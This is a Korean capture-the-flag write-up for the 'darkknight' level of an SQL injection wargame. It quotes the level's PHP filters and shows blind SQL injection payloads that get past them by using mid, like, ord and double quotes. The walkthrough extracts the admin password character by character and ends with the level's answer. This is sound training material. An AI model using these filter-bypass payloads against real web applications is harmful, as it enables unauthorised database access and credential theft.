darkknight

$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
소스코드를 보니 id가 ‘admin’인 pw의 값을 맞혀야 해당 문제를 통과할 수 있다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
지난 문제 golem과 유사하지만 no 파라미터가 추가되었다.
pw는 ‘를 필터링 하고 있고
no의 필터링은 substr, ascii, =, ‘ 이다.
지난문제 golem에서는 substr은 mid 함수로 = 기호는 like 연산자로 치환했다.
여기서 추가적으로 필터링 된 ascii는 ord 함수로 ‘는 “로 치환할 수 있다.
필터링 문자 | 치환 |
substr | mid |
= | like |
ascii | ord |
' | " |
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
pw 파라미터에 공격하려면 pw는 입력 값을 ‘가 감싸고 있기 때문에 해당 쿼리를 끝내기 위해서는 ‘의 사용이 불가피하다.
하지만 pw는 ‘를 필터링하고 있다. 따라서 no 파라미터에 대해 공격하는 방식으로 진행한다.

참인 값인 ?no=no or "1" like "1"%23을 입력했을 때, Hello guest 이라는 문구가 뜨는 것을 확인할 수 있다.

거짓 값인 ?no=no or "1" like "2"%23을 입력했을 때는 아무 문구도 안 뜨는 것을 확인할 수 있다.
참과 거짓일 때 나오는 결과가 다르다는 점을 이용하여 블라인드 인젝션을 통해 pw를 알아낸다.
[풀이 과정]

pw의 길이를 알기 위해 인자로 주어진 문자열의 길이를 구하는 length 함수를 이용한다.
?no=no or id like “admin” and length(pw) like “8”%23 입력 -> Hello admin문구 확인
pw의 길이는 8이라는 것을 알 수 있다.

* 앞서 언급했듯이 ascii가 필터링 되고 있다. ascii대신 동일한 기능을 가진 ord 함수를 사용한다.
?no=no or id like "admin" and ord(mid(pw,1,1))<__%23 → __빈칸에 숫자를 바꿔가며 Hello admin문구가 안 나올 때까지 반복한다.

pw 첫 번째 문자의 아스키코드 값이 48보다 작다는 문구를 넣었을 때 처음으로 아무 문구도 출력되지 않았다.

?no=no or id like "admin" and ord(mid(pw,1,1)) like "48"%23입력
pw의 첫 번째 문자는 아스키코드 값 48인 0이다.
반복하여 8자리를 다 찾아낸다.

pw의 두 번째 문자는 아스키코드 값 98인 b이다.
pw=0b

pw의 세 번째 문자는 아스키코드 값 55인 7이다.
pw=0b7

pw의 네 번째 문자는 아스키코드 값 48인 0이다.
pw=0b70

pw의 다섯 번째 문자는 아스키코드 값 101인 e이다.
pw=0b70e

pw의 여섯 번째 문자는 아스키코드 값 97인 a이다.
pw=0b70ea

pw의 일곱 번째 문자는 아스키코드 값 49인 1이다.
pw=0b70ea1

pw의 여덟 번째 문자는 아스키코드 값 102인 f이다.
pw=0b70ea1f

정답: ?pw= 0b70ea1f